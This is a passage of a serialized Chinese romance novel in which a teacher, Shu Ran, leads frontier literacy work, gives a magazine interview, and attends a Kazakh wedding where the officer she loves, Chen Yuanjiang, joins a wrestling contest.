忙碌间隙,她给陈远疆写了一封简短的信,只提了外宾参观一事。 第二天,中亚邻国教育代表团如期而至。舒染作为主要陪同和讲解人,落落大方,通过翻译向他们介绍教育模式。 她带着外宾实地观摩,代表团的成员们从最初的礼貌性倾听,逐渐变得专注、惊讶,甚至震撼。 他们看到在如此艰苦的条件下,中国人竟能用如此富有创造力和实效的方法,顽强地推行着教育普及。 尤其是在一个流动毡房教学点,看到一位哈萨克族老阿妈戴着老花镜,在知青指导下颤巍巍地写下自己名字时,代表团成员纷纷忍不住低叹。 参观结束后,在座谈会上,,一位头发花白的代表团团长感慨地对舒染和师领导说:“我们此行受益匪浅。你们在极端条件下对教育事业的执着和智慧,令人深深敬佩。这种在基层灵活多变的,与生产生活紧密结合的教育模式,对我们国家同样具有重要的借鉴意义。你们真正做到了,让知识的种子在艰苦的土地上也能生根发芽。” 这番话,通过翻译传达过来,让在场所有中国人都感到无比的骄傲和自豪。 舒染有些激动,她知道,她们的努力得到了跨越国界的认可。 送走外宾后的那一个月,Y师上下对舒染更是佩服。师领导特意设宴招待了指导组,席间赞不绝口。 然而,就在宴会气氛最热烈的时候,舒染却接到一个意外的消息:陈远疆来了Y师,正在师部招待所等她。 舒染想着,以他现在的身份,没有紧急公务,绝不会轻易离开X师跑到边境Y师来。她向师领导告罪,匆匆赶往招待所。 推开招待所房间的门,陈远疆正站在窗边,望着外面漆黑的夜色。听到开门声,他转过身。 几个月不见,他似乎清瘦了些,看到舒染,原本锐利的眼神化作一片温柔。 “你怎么来了?”舒染关上门,快步走过去,语气里带着惊喜。 陈远疆没有立刻回答,而是上下打量着她,目光在她脸上停留片刻,确认她无恙,才开口道:“外宾参观,保卫部临时抽调我过来协助这边,确保万无一失。” 原来是为了安保。舒染心里松了口气,又有点说不清道不明的失落。 她笑了笑:“一切顺利,他们刚走。” “我知道。”陈远疆走到桌边,拿起一份报纸,递给舒染,“看看这个。” 舒染接过来,头版头条是关于外宾参观的简讯,旁边配了一张照片,正是她在毡房外向外宾讲解的侧影。标题醒目:《戈壁滩上的启明小学——中亚教育代表团盛赞我兵团基层教育模式》。 “戈壁滩上的启明小学……”舒染轻声念着,心头一热。 “你们做得很好。”陈远疆看着她,“比我想象的还要好。” 舒染抬起头,迎上他的目光。 房间里安静下来。分别数月积累的思念,在这一刻悄然弥漫。 舒染看着他军装领口一丝不苟的风纪扣,忽然想起什么,从随身的挎包里拿出那个军用水壶,晃了晃,嘴角扬起一抹笑:“陈副处长,你送的水壶,我可是走到哪儿带到哪儿,一次都没落下。就是这水,好像没你当初给的甜了。” 陈远疆的目光落在那个水壶上,眼神瞬间软了下来。他上前一步,两人距离拉近。 他伸出手,没有去接水壶,而是轻轻握住了她拿着水壶的手。 “是吗?”他低头看着她,声音喑哑,“那……可能是我没亲自给你装满。” 舒染的心跳有些失控,反而仰起脸,“那陈副处长,打算怎么补偿?” 陈远疆握着她的手微微收紧,另一只手抬起,似乎想碰触她的脸颊,却在半空中停住,最终只是用指腹极其轻柔地蹭了蹭她因为连日奔波而有些干燥的嘴角。 “等你回去。回去,我给你挑最甜的井水,装满。” 就在这时,门外传来敲门声和小张干事兴奋的声音:“舒组长!舒组长!好消息!天大的好消息!《首都画报》的编辑直接打电话到师部了!他们看到了外宾参观的报道,非常感兴趣,要派记者来深度采访,还要把它做成专题,刊发在外文版上!舒组长,我们要上《首都画报》了!要出名了!” 门内的两人皆为一怔。 舒染看向陈远疆,他眼中也闪过一丝惊讶,随即化为激赏。 《首都画报》外文版!那是面向全世界发行的刊物! 舒染压下心中的澎湃,对门外应道:“知道了,我马上来!” 她转头看向陈远疆,眼中光华流转,带着事业成功的自信和面对爱人时的柔软:“我得去了。” 陈远疆松开她的手,点了点头,目光温暖:“去吧。我在这等你。” 舒染笑盈盈地看了他一眼,转身拉开房门,走向那个属于她更加广阔的舞台。 身后,是男人深情的注视。 第122章 《首都画报》即将前来采访的消息, 在Y师师部激起了巨大的涟漪。师领导高度重视,连夜召开会议,确定采访流程、布置参观点、甚至细致到舒染的着装和言谈举止, 都被反复叮嘱。 舒染一下子被推到了风口浪尖,成为了众人瞩目的焦点。 面对这突如其来的荣誉和压力, 舒染内心激动,但更多的是一种审慎。 她知道,这不仅是她个人的荣耀, 更是对全体兵团教育工作者,尤其是那些常年坚守在基层人员们付出的肯定。她绝不能搞砸,必须呈现出最真实的面貌。 接下来的两天,舒染异常忙碌。她谢绝了师部安排的预演和台词背诵, 坚持要展现最自然的状态。 她带着《首都画报》派来的资深文字记者老韩和摄影记者小刘, 重走了外宾参观的路线。 在固定校舍, 她没有让孩子们表演似的齐声朗读, 而是让记者看孩子们如何用石灰块在旧门板上练习刚学会的生字, 看他们露出的笑容, 也看那漏风的窗户和皲裂的小手。 在牧民的毡房里,她让记者亲眼目睹知青老师如何一边帮着老阿妈捻毛线, 一边用民语和汉语对照,教她认读“羊毛”、“牛奶”、“谢谢”等日常词语。 老阿妈因为终于能歪歪扭扭地写下“大团结”而绽放的笑容, 被摄影记者小刘敏锐地捕捉下来。 在田间地头,她指着正在劳作的职工, 对老韩记者说:“你看, 他们不是在表演,这就是他们的日常。知识不是脱离生产的,而是融入他们生活, 帮助他们更好劳动和生活的工具。我们搞教育,不是为了好看,是为了有用。” 老韩记者是个见多识广的中年人,他很少插话,只是默默地听,仔细地看,偶尔在本子上记几笔。他的问题往往一针见血。 “舒染同志,你们这种模式,对教师的综合能力要求极高,师资从哪里来?如何保证质量?” “牧区流动性大,如何确保教学的连贯性?” “遇到不理解的牧民家长,或者认为教育耽误生产的连队领导,你们怎么应对?” 舒染没有回避任何问题,她结合自己在畜牧连的实践和巡回指导的见闻,坦诚地分析困难,也清晰地阐述解决思路。她知道,在这个时候不能说空话套话,只摆事实,讲方法,谈成效,所以也直言不讳目前的局限和未来的设想。 她的自信不是建立在虚幻的口号上,而是源于对基层情况的了解和对教育事业发自内心的思考。 她的睿智和务实深深打动了两位记者。老韩私下对摄影记者小刘感叹:“这个小舒组长,不简单。有头脑,有韧劲。这篇报道,有事实有依据,一定有影响力。” 采访间隙,舒染累得几乎虚脱。 连续的高强度工作和精神紧绷让她嗓子沙哑,眼底带着淡淡的青黑。但她不能在人前显露疲惫,所以始终保持着从容得体的姿态。 这天晚上,采访暂告一段落,舒染送走记者,独自回到师部招待所给她临时安排的小房间。她瘫坐在椅子上,连倒水的力气都快没有了。 就在这时,房门被轻轻敲响。 舒染勉强打起精神:“请进。” 门推开,陈远疆端着一个小搪瓷缸走了进来。 “还没休息?”他走到桌边,将搪瓷缸放下,里面是热气腾腾的液体,散发出一股草药味。 “陈副处长?你怎么……”舒染有些惊讶,他这几天也忙着安保协调,两人虽然同在一个师部,却难得碰面。 “炊事班熬的润喉清火的土方子,甘草、胖大海什么的。”陈远疆的语气仿佛在说一件再寻常不过的公事,“听说你嗓子不行了,影响明天采访。” 舒染看着那缸冒着热气的药茶,心头一暖。 “谢谢。”她端起缸子,小心地喝了一口,微苦的液体滑过喉咙,带来一丝舒缓。 陈远疆没走,而是在她对面的床沿坐了下来,房间不大,两人距离很近。他静静地看着她,目光落在她难掩疲惫的脸上。 “采访还顺利?”他问,声音比平时柔和了些。 “嗯。”舒染点点头,又喝了一口药茶,“老韩记者很专业,问的问题都在点子上。就是……有点累。” 在他面前,她难得地松懈下来,流露出一点脆弱。 陈远疆的眉头蹙了一下。“没必要事事亲力亲为,该让下面人顶上的,就让他们上。” “我知道。”舒染放下缸子,揉了揉太阳穴,“但这次不一样。《首都画报》影响力太大,我不能出一点差错。这关系到我们整个兵团教育的形象,也关系到……很多人的努力能不能被看见。” 她抬眼看他,带着点狡黠,“再说了,陈副处长不也一直在亲力亲为地确保安保万无一失吗?我们都一样,在其位,谋其政。” 她这话既解释了自己的坚持,又把他也拉到了同一战线,带着点小小的共勉的意味。 陈远疆看着她带着倦意的眼睛,沉默了片刻,忽然站起身。 舒染以为他要走了,心里掠过一丝失落。 却见他走到她身后,双手按上了她的太阳穴。 舒染浑身一僵。 他的动作有些生涩,但力道适中,带着薄茧的指腹不轻不重地按压着她的太阳穴和脑袋的其他穴位,缓解着那胀痛感。 他没有说话,房间里只有窗外隐约的风声。 这突如其来的亲密让舒染心跳漏了一拍,随即一种安心感包裹了她。 她闭上眼,放松身体,任由他替她缓解疲劳。 “别太逞强。”他的声音在头顶响起,很近,“身体垮了,什么都是空的。” “嗯。”舒染低低应了一声,感觉连日来的疲惫似乎真的消散了不少。她忽然想起什么,轻声问:“你那边都顺利吗?” “嗯。一切正常。” 短暂的沉默后,舒染忍不住轻笑:“陈副处长这按摩手艺,跟谁学的?可别是审犯人那套吧?” 她感觉到他按在她太阳穴上的手指顿了一下。 “……享受就行。”他语气里带着无奈,手下力道依旧稳定。 舒染嘴角弯得更深了。她喜欢看他这种被她逗得有些无措,却又舍不得放开她的样子。 过了一会儿,他松开手:“好了,早点休息。药茶喝完。” 头上的触感离开,舒染竟有些舍不得。她睁开眼,看着他重新走到她面前,灯光在他脸上投下柔和的阴影。 “明天最后一天,”陈远疆看着她,眼神深沉,“结束后,我送你回X师。” 巡回指导结束,他们终于可以一起回去了。舒染心里很期待。 “好。” 陈远疆目光在她脸上流连片刻,似乎想说什么,最终却只是抬手轻轻蹭了蹭她耳边的发丝,动作快得仿佛只是她的错觉。 “走了。”他转身大步离开。 房门关上,舒染却觉得房间里还有他的气息。 她摸着耳廓,看着那缸药茶,随后端起缸子将剩下的药茶一饮而尽。 接着她重新摊开采访笔记,为明天的采访做最后的准备。 采访必须完美收官,然后,和他一起回家。 《人民画报》采访的最后一天,焦点集中在了舒染个人和她带领的巡回指导组上。 地点安排在Y师师部一间临时布置的相对安静的会议室。文字记者老韩准备进行深度访谈,摄影记者小刘则负责捕捉舒染工作状态的特写。 舒染换上了一件干净的旧军装,虽然难掩疲惫,但自有一种沉稳从容的气度。陈远疆一早便安排了保卫处的人在外围值守,确保采访不受干扰。 他自己则并未露面,但舒染知道,他一定在某个地方关注着。 访谈开始,老韩的问题更加深入和个人化。 “舒染同志,我们了解到您最初是在畜牧连创办了启明小学,当时条件极其艰苦,您是如何坚持下来的?是什么支撑着您?” 舒染没有立刻回答,她微微沉吟,目光仿佛穿越了时空,回到了那个漏风的工具棚。 “说实话,最初可能更多是一种……不服输,或者说,是想给自己找一个立足之地的本能。” 她坦诚得让人意外,“我成分不好,初到连队,举步维艰。教学,是我唯一擅长、也可能改变处境的事情。但后来,当我看到孩子们眼睛里对知识的那种渴望,当你教会他们写自己的名字、看懂工分票时,他们脸上那种发自内心的光亮……那种成就感,是无法用言语形容的。支撑我的,就从‘为自己’慢慢变成了‘为自己的同时也他们’。” 她没有刻意拔高,真实的心路历程反而更具说服力。 老韩点点头,在本子上快速记录着。“那么,从一所连队小学,到如今负责全兵团范围的巡回指导,这个跨度非常大。您认为您成功的关键是什么?” 舒染笑了笑,“我认为不是我成功了,是我们摸索出的这条路子,恰好符合了基层的需要。关键有几点:一是实事求是,不搞花架子,基层需要什么,我们就教什么,怎么有效怎么来。二是善于借力,教育不是孤立存在的,要主动融入生产、团结各方力量,比如依靠组织,协同保卫、后勤、卫生等部门。三是相信群众,依靠群众,无论是连队职工还是牧民,他们都是智慧的,要调动他们的积极性,让他们成为教育参与者和受益者,而不是被动接受者。” 她顿了顿,补充道:“当然,也离不开组织的培养和信任,以及很多像陈……像很多默默无闻的同志们的支持。” 她及时收住了差点顺口提及的那个名字,但敏锐的老韩似乎捕捉到了什么,笔下微顿。 “我们注意到,您在指导工作中,尤其注重对女性知青和少数民族妇女的扫盲和教育,”老韩转换了话题,“这是出于什么特别的考虑吗?” “因为妇女能顶半边天啊。”舒染半开玩笑地说,随即正色道,“妇女识了字,明理了,不仅能更好地参与生产,更能科学地养育下一代,处理家庭事务,甚至影响整个家庭、整个社区的氛围。一个母亲识不识字,对一个孩子的成长影响太大了。至于少数民族姐妹,让她们掌握汉语,学习文化,是促进民族团结、让她们更好地融入国家发展的重要途径。这不仅是教育问题,更是社会问题。” 她的回答,既有高度,又接地气,既有政策水平,又充满人文关怀。老韩眼中赞赏的神色越来越浓。 采访持续了近三个小时,舒染始终思维敏捷,对答如流。她不仅介绍成绩,也坦然面对困难和不足,比如师资培训的系统性、牧区教学点巩固的难度等,并提出了自己的思考和建议。她的自信、专业和务实,给两位记者留下了极深的印象。 最后,摄影记者小刘提议拍几张舒染在自然状态下的工作照。 他们来到师部大院,小刘让舒染随意走走,或者看看文件,捕捉最自然的瞬间。 舒染抱着一叠资料,边走边低头翻阅,阳光洒在她身上,勾勒出她的侧影。就在这时,一阵风吹来,她手中的几页稿纸被吹散,飘落在地。 舒染下意识地弯腰去捡。几乎是同时,一个高大的身影从旁边快步走来,动作利落地帮她拾起散落的纸张。 是陈远疆。他不知何时出现的,穿着军装,神色如常,仿佛只是恰好路过。 舒染抬起头,对上他的目光。他将整理好的纸张递还给她。 “谢谢。”舒染轻声说,心跳有些快。 “嗯。”陈远疆应了一声,目光在她脸上停留了一瞬,确认她无恙,便转身对不远处的摄影记者小刘和老韩微微颔首,算是打过招呼,然后便离开了。 整个过程自然流畅,没有任何逾矩之处。 但这一幕却被摄影记者小刘抓拍了下来。照片上,怀抱资料的舒染微微弯腰,而身姿挺拔的陈远疆正将拾起的文件递给她,两人目光交汇,背景是师部的建筑和远处的蓝天。 画面充满了一种难以言喻的默契与和谐。 老韩看着陈远疆离去的背影,又看了看身边神色恢复如常的舒染,眼中闪过一丝了然的笑意,但他什么也没问。 第123章 采访正式结束。送走两位记者, 舒染长长地舒了一口气,感觉像是打了一场硬仗。 回到招待所房间,她累得几乎不想动弹。刚想躺下休息一会儿, 房门又被敲响了。 她以为是指导组的同事,有气无力地说了声“进来”。 门推开, 还是陈远疆。他手里端着一个饭盒,走了进来。 “吃点东西。”他把饭盒放在桌上,打开, 里面是热气腾腾的面条,上面还卧着一个荷包蛋。 “炊事班特意做的,说你这几天没好好吃饭。” 舒染鼻尖莫名有些发酸。她坐到桌边,拿起筷子, 小声说:“你怎么老是突然冒出来……跟个田螺姑娘似的。” 陈远疆在她对面坐下, 看着她低头吃面的样子, 眼神柔和, “吃你的面。” 舒染饿坏了, 低头安静地吃着。面条软硬适中, 汤头清淡却鲜美,荷包蛋煎得恰到好处。 她吃得很香。 陈远疆就坐在那里默默地看着她吃。房间里很安静。 舒染吃完最后一口面, 连汤都喝光了,满足地放下筷子。一抬头, 发现陈远疆正看着她,眼神专注。 “看什么?”舒染摸了摸自己的脸, “我脸上有东西?” 陈远疆摇了摇头, 忽然伸出手,用指腹轻轻擦过她的嘴角,那里沾了一点油渍。他的动作很轻, 很快,一触即离。 舒染脸颊漫上热意。她有些慌乱地低下头,掩饰性地收拾着饭盒。 “等阵子你的欢送会结束,”陈远疆站起身,声音恢复了平时的沉稳,“我送你回去。” “嗯。”舒染点点头。 陈远疆没再多说,拿起空饭盒,转身离开了。 很快就到了舒染离开Y师的日子,师部为巡回指导组举行了欢送会。席间,师领导、各部门负责人轮番向舒染敬酒,言辞恳切。 舒染以茶代酒,从容应对,言谈举止间已颇具领导者风范,与数月前刚来时的谨慎摸索判若两人。 欢送会结束,已是月上中天。舒染婉拒了师部派车,想一个人慢慢走回招待所,吹吹夜风,理理思绪。 Y师的夜晚比X师更显静谧。她刚走到招待所附近的那片胡杨林边,就看见一个熟悉的身影倚在一棵白杨树下。 是陈远疆。他似乎在等她。 舒染脚步顿了顿,随即加快步伐走过去。 “怎么在这儿?没去参加欢送会?” “我提前走了,不喜欢闹腾。”他的目光在她脸上扫过,“结束了?” “嗯,结束了。”舒染走到他面前,仰头看着他,夜风吹拂着她的发丝,带着一丝凉意,“明天就能回去了。” “嗯。”陈远疆应了一声,从军装口袋里掏出一个小纸包,递给她,“拿着。” 舒染接过,入手带着点温热。她打开一看,是几块烤得焦黄且散发着奶香的馕,还冒着丝丝热气。 “晚上没见你吃多少。炊事班晚上烤的,垫垫肚子。” 舒染在刚才那种应酬场合,她确实没怎么动筷子,光顾着说话和应对了。 她掰下一小块馕放进嘴里,“好吃。”她的眼睛弯成了月牙,“谢谢陈副处长投喂。” 听到这个带着调侃的称呼,陈远疆眼底闪过一丝无奈,却也没纠正。“回去早点休息,明天一早出发。” “知道啦。”舒染一边吃一边看着他,“你呢?安保收尾工作都完成了?” “差不多了。”陈远疆看着她,神情柔和。 舒染吃完一小块馕,把剩下的仔细包好,放进口袋。 两人一时无话,并肩站在月光下的胡杨林边。夜风穿过树林,发出沙沙的轻响。 “这次……辛苦你了。”陈远疆忽然开口。 舒染侧头看他,轻声说:“你也一样。在Y师这最后一段,多亏了你。” 陈远疆没再说话,只是微微侧身,替她挡住了侧面吹来的风。 舒染忽然想起一件事,带着点好奇问:“哎,你那本笔记本,前面记的那些人和事,是怎么知道的?有些情况,感觉不像是常规渠道能了解到的。” 陈远疆沉默了一下,似乎在斟酌措辞。“以前……跑的地方多,任务杂,接触的人多。留心,就记下了。” “哦……”舒染拉长了声音,故意用带着点崇拜的语气说,“原来陈副处长不仅会抓坏人、管安保,还是个包打听啊?失敬失敬。” 陈远疆被她这话噎了一下,低头瞪她,却对上她满是笑意的眼睛。那里面满是调侃和亲近。他心头那点被揶揄的不自在消散,流露出无奈的纵容。 “就你话多。”他抬手作势要敲她的额头,动作却在半空顿住,最后只是用指节蹭了一下她的刘海,“馕也堵不住你的嘴。” 舒瑟缩了一下脖子,却没躲,反而笑嘻嘻地看着他:“陈副处长,你这算不算……打击报复?” “算。”陈远疆收回手,语气里带着他自己都未察觉的宠溺,“再啰嗦,明天自己走回去。” “你敢!”舒染佯怒,瞪圆了眼睛。 陈远疆终于低低地笑了一声。 舒染看得有些怔住。他笑的样子真是罕见。 “好了,真该回去了。”陈远疆收敛了笑意,恢复了一本正经,但眼神还是那样温和,“明天要赶路。” “嗯。”舒染点点头,心里有点舍不得这难得的静谧时刻。 两人一前一后,保持着不远不近的距离,默默走回招待所。到了舒染房间门口,陈远疆停下脚步。 “明早八点,招待所门口。”他交代。 “知道啦,陈妈妈。”舒染忍不住又皮了一下,飞快地说完,趁他还没反应,赶紧掏出钥匙开门。 陈远疆看着她的动作,那句“陈妈妈”让他额角跳了跳,最终只是无奈地摇了摇头。“……胡闹。” 舒染已经打开了门闪身进了房间,关门前,留下一句:“晚安,远疆。” 门轻轻合上。 陈远疆站在走廊里听着门内落锁的声响,站在原地沉默了几秒,才转身离开。 第二天早上八点,天光微熹,巡回指导组成员和负责护送的陈远疆及两名保卫处战士,准时在Y师招待所门口集合。 一辆军用卡车和一辆搭载陈远疆等人的吉普车,将载着他们返回X师。 离别的气氛被即将回家的喜悦冲淡,指导组的年轻人们脸上都带着轻松的笑容,互相开着玩笑,讨论着回去后要如何庆祝。 舒染和陈远疆则依旧是工作关系,除了必要的行程沟通,并无过多交流。 车子驶出Y师师部,很快便进入了广袤的戈壁草原。 初秋的草原,天高云淡,草色开始泛黄,别有一番苍茫壮阔之美。 开始的路程还算顺利。然而,在下午经过一片地势复杂、岔路众多的地带时,领头的那辆吉普车突然发出一阵异响,随后猛地一顿,熄火了。 司机老张跳下车,掀开发动机盖检查,浓眉紧紧皱起。“麻烦了,陈副处长,好像是油路出了问题,还有个零件看样子老化了,得换。” 陈远疆下车,围着车子看了一圈,脸色沉静。“能修吗?需要多久?” 老张擦了把汗:“工具和备用零件都有,就是这毛病有点棘手,估计得捣鼓一两个小时。而且这地方前不着村后不着店的。” 舒染和其他人也从卡车上下来,看着抛锚的吉普车,都有些焦急。天色已经不早,如果不能尽快修好,赶夜路在草原上风险很大。 陈远疆当机立断:“老张,你带人抓紧时间修车。小王,你用卡车上的电台试着联系一下附近最近的驻点或者牧民聚集区,看能不能找到援助或者确定我们的具体位置。” 众人立刻分头行动。舒染帮不上技术忙,便和组里另一个女同志把水和干粮拿出来分给大家。 时间一分一秒过去,老张那边的维修似乎遇到了困难,进度缓慢。电台信号时断时续,小王那边也迟迟没有好消息。 眼看太阳西斜,气温开始下降,草原上的风也带着寒意,众人的心情渐渐沉重起来。 就在这时,远处传来了隐约的马蹄声,由远及近。 “有人来了!”负责警戒的战士喊道。 众人精神一振,循声望去,只见七八骑骏马从坡下边奔驰而来,马上的骑手穿着色彩鲜艳的民族服装,正是当地的少数民族牧民。 牧民们看到停在这里的军车和一群人,也放缓了速度,好奇地靠近。 为首的一位中年牧民勒住马,用带着浓重口音的汉语问道:“你们这是怎么了?” 陈远疆上前,简单说明了车辆故障的情况。 那中年牧民听完,哈哈一笑,爽朗地说:“原来是车子坏了!这里偏得很,等修好天黑透了都!不如这样,前面不远是我们牧场,今天我侄子结婚!你们跟我们回毡房暖和暖和,等车修好了再走!” 这突如其来的热情邀请让众人都是一愣。舒染看向陈远疆,用眼神询问他的意见。 陈远疆眉头微蹙,显然在权衡。在陌生牧区停留,存在不确定风险,但眼下车辆故障一时难以排除,天色将晚,牧民的出现和邀请似乎是目前最可行的选择。而且,与当地牧民搞好关系,本身也是群众工作的一部分。 就在这时,那位中年牧民目光扫过人群,忽然定格在舒染脸上,他仔细看了看,脸上露出惊喜的神色:“你……你是不是那个……那个在毡房里教我们娃认字的老师?我在老风口那边亲戚家见过你的照片!说你是个有大本事的人!” 舒染没想到在这里竟然被人认出来,有些意外,但还是微笑着点头:“您好,我是舒染。” “哎呀!真是舒老师!”中年牧民更加热情了,直接跳下马走过来,“这可真是缘分!舒老师,你一定得来!我们族里好多人都听说过你!你今天能来参加婚礼,我们全家都会高兴!” 这一下,更是推辞不得了。舒染看向陈远疆,眼神传递着“看来不去不行了”的信息。 陈远疆看着被热情牧民围住的舒染,又看了看依旧在冒烟却进展缓慢的吉普车,终于点了点头,对那中年牧民说:“那就打扰了。不过我们只是暂时落脚,车修好就走。” “好好好!没问题!”中年牧民喜笑颜开,立刻招呼同伴让出几匹马,“来领导同志,舒老师,上马!我们牧场就在前面!” 最终,陈远疆、舒染、以及指导组的一男一女两名年轻同志跟着牧民们骑马前往牧场,老张和一名战士留下继续修车,并约定好保持联系。 舒染骑马走在草原上,她虽然不是第一次骑马,但在如此广阔的天地间驰骋,还是觉得心胸为之一阔。 陈远疆控马技术极佳,始终不紧不慢地跟在她侧后方。 大约半小时后,一片水草丰美的牧场出现在眼前,几十座白色的毡房散落在草地上,中间最大的一座毡房外,欢声笑语,充满了喜庆的气氛。 看到中年牧民带着几个穿军装和干部服的生面孔回来,尤其是其中还有一位年轻清秀的女同志,婚礼现场顿时更加热闹起来。 新郎的父母热情地迎上来,得知舒染的身份后,更是激动不已,连连说着“贵客”。 盛情难却,舒染和陈远疆等人被请进了主毡房,坐在了客位上。 奶茶、马奶酒、手抓羊肉、各种奶制品……丰盛的食物立刻摆了上来。牧民们天性豪爽好客,更何况是他们心存好感的舒老师和解放军同志,劝酒劝食,热情得让人无法招架。 酒过三巡,气氛越发高涨。外面的空地上,响起了欢快的民族琴声,年轻的小伙子和姑娘们已经开始围着篝火跳起了草原上的舞蹈。 这时,婚礼的主持人站到了场地中央用民语宣布着什么,话音刚落,现场顿时爆发出热烈的欢呼和口哨声。许多健壮的哈萨克族小伙子摩拳擦掌,跃跃欲试。也有一些性格泼辣的姑娘,笑着推搡着自己心仪的小伙子下场。 舒染在基层待了这么久,简单的日常民语能听懂一些,但这带着浓重口音和传统词汇的一大段话,她听得半懂不懂,只能捕捉到“摔跤”、“年轻人”、“骏马”几个关键词。 她下意识地微微侧头,看向身旁的陈远疆。 陈远疆立刻察觉到了她的目光,他微微侧身,将老者的话给舒染翻译成了汉语:“主持人说,按老规矩,未婚年轻人摔跤,赢了得那匹骏马。” 舒染心中了然,她完全可以凭自己听懂的部分猜出大意,但是……选择让他翻译,在舒染看来是情侣间心照不宣的小小情趣。 她轻轻“嗯”了一声,表示听懂了,目光重新投向喧闹的场地,嘴角噙着笑意。这种感觉很好,仿佛他们之间有一个旁人无法介入的私密小世界。 “这摔跤,看着不只是比力气那么简单吧?”舒染凑近陈远疆,低声问道,她已然察觉到周围年轻男女之间那种暧昧又热烈的氛围。 陈远疆微微颔首,解释道:“嗯,很多时候,也是年轻男女互相示好、展现勇武的方式。赢了的人,尤其是赢了马回来的小伙子,往往能赢得姑娘们的青睐。” 果然,随着比赛开始,场上的气氛更加热烈。不仅仅是力量的碰撞,更是眼神的交锋,是勇气与魅力的展示。 获胜的小伙子往往会有意无意地看向心仪姑娘的方向,引来一阵哄笑和姑娘羞涩又大胆的回应。 指导组跟来的那个年轻男干事也被热情的氛围感染,在几个牧民小伙子的起哄下,红着脸下场试了试,可惜没两下就被一个壮实的小伙子摔倒在地,惹得众人大笑,他自己也摸着脑袋不好意思地笑了。 就在这时,那位白胡子老者目光扫过宾客席,忽然落在了陈远疆身上。他笑着大声用民语说着什么。 众人的目光都聚焦到了陈远疆身上。许多年轻的牧民小伙子也带着好奇和挑衅的眼神看着他。 草原崇拜强者,他们很想见识一下这位长着一张同族的脸却说着汉话的军官的实力。 舒染虽然没完全听懂,但看老者的手势和周围人的反应,也猜到了七八分。 她侧过头,眼底带着点看好戏的狡黠笑意,用只有两人能听到的气音说:“陈副处长,群众呼声很高啊。翻译官同志,要不要顺便去展示一下勇士的风采?” 她故意提起“翻译官”,带着点亲昵的揶揄。 陈远疆侧眸睨了她一眼,对上她满是促狭的眼睛,那里面没有丝毫担心,只有纯粹的打趣和一丝……期待? 陈远疆的眉头皱了一下。他性格沉稳,不喜这种张扬的活动,更何况他的身份敏感,在这种场合下场摔跤,似乎有些不妥。 但是舒染期待的眼神让他一时难以直接拒绝。 就在他沉吟的片刻,一个身段高挑、容貌明艳大方的少数民族姑娘,端着一碗马奶酒,大步走到了陈远疆面前。 她带着毫不掩饰的直率和欣赏看着陈远疆,用流利的汉语说道:“解放军大哥,我是丽德孜。我们都想看看你的本事呢!喝了这碗酒,下场比试比试怎么样?赢了,那匹最棒的骏马就是你的!” 这姑娘的大胆和直接,让现场气氛瞬间达到了高潮。 所有人都起哄起来—— 作者有话说:[让我康康]作者君写完才发现……感情线是不是写的有点多啊,最近沉迷感情流一发不可收拾了(抓头发) 第124章 丽德孜那碗递到面前的马奶酒, 让所有人都看着陈远疆,等待他的回应。 陈远疆的目光并未在丽德孜身上过多停留,他甚至没有去看那碗酒, 而是侧头将视线落在了身旁的舒染脸上。 他的眼神带着询问。 舒染的心在丽德孜出现时确实紧了一下。此刻,对上陈远疆的目光, 那点微妙的情绪瞬间烟消云散,取而代之的是一种被珍视的安心。 她知道他在顾虑什么——身份、影响,以及她的感受。 她也知道, 他骨子里流淌着牧人的血液,这片草原,这种充满力量与野性的竞技,或许能唤起他久远的记忆。 更重要的是, 她想起了他之前那匹死去的枣红马。她很想他能再有一匹好马。 舒染迎着他的目光点了一下头。去吧, 注意安全, 我在这儿。 得到了她的默许, 陈远疆眼中最后一丝犹豫散去。他这才转回头看向面前举着酒碗的丽德孜。 他没有去接那碗酒, 而是用民语回应着, 大意为:谢谢,尊敬的姑娘。酒就免了。但是, 为了尊重祖先的规矩,我可以参加摔跤, 与朋友们切磋。无论输赢。 他那口纯正地道的民语,让在场的牧民们都愣了一下, 随即爆发出更热烈的欢呼。 丽德孜也愣了一下, 看着陈远疆冷静自持的样子,眼中的欣赏未减,但过于直白的热情稍稍收敛了些, 她爽快地将酒碗收回,自己一饮而尽,笑道:“好!那就场上见真章!” 陈远疆站起身,脱下了军装外套,露出里面贴身的旧军绿色衬衣,勾勒出他坚实有力的身形,沉稳地走向场中。 他这一动,原本喧闹的场地安静了几分,许多经验丰富的牧民都微微颔首——看样子会有一场精彩的摔跤场面。 舒染看着他挺拔的背影,既紧张又期待。她知道他身手好,但这毕竟是少数民族的传统摔跤,而且对手都是自幼在马背上长大的健儿。 陈远疆自小离开了边疆,是否能赢? 比赛开始。陈远疆第一个对手是个身材敦实的年轻牧民,他低吼着扑上来,试图抱住陈远疆的腰将他掀翻。陈远疆没有硬抗,侧身卸力,脚下生根,同时手臂格挡,试图寻找对方重心。 然而对手下盘极稳,一击不成,立刻变换角度,两人缠斗在一起,力量角逐着。陈远疆几次化解了对手的抱摔,但一时间也难以将对方放倒。 陈远疆的动作带着一种经过训练的格斗技巧,却又隐隐契合着草原摔跤借力打力的精髓。 舒染看得目不转睛。她注意到,陈远疆的眼神冷静,仿佛回到了他最熟悉的环境。她忽然想起他曾经提及的童年在天山脚下牧场的零星记忆。 或许这种力量与技巧的较量,本就存在于他的血脉之中。 几个回合下来,那壮实小伙子几次猛扑落空,气息开始不稳。陈远疆看准一个机会,脚下巧妙一绊,手臂发力,凭借一个巧妙的腿绊结合腰腹发力,才将对手摔倒在地,但自己也微微气喘。 这位对手爬起来,拍了拍身上的草屑,对陈远疆竖起大拇指,心服口服地退下。 “好!”牧民们爆发出喝彩,既为本族人的勇猛,也为陈远疆的技巧。 舒染稍稍松了口气,但心依旧悬着。 第二个对手上场了,这是一个身材极高的汉子,手臂颀长,力量惊人。他吸取了上一位对手的教训,不急于近身缠斗,而是利用臂展优势,不断试图抓住陈远疆的肩膀或手臂,想凭借绝对力量将他抡起来。 陈远疆几次闪避,衣袖被对方抓住,一股巨力传来,将他带得一个趔趄。 舒染的心提到了嗓子眼。陈远疆临危不乱,顺势下沉,一个标准的摆脱动作脱出控制,但额角也见了汗。 他意识到,对付这种选手,不能纠缠。他改变策略,不再一味闪避,而是在对方再次扑来时,看准空档,猛地贴近,用肩膀顶住对方胸口,同时脚下迅猛一勾。 “砰!”高大的汉子重心失衡,重重倒地,激起一片尘土。 这一下赢得漂亮,但也消耗了陈远疆大量体力。他站在原地,胸口起伏着,调整着呼吸。 连续放倒两个好手,现场的气氛更加热烈,但挑战者也更加谨慎。 第三个上场的,是一个看起来并不算特别强壮,但动作敏捷的年轻人。 他一上场就绕着陈远疆游走,不时做出假动作,试图干扰判断。 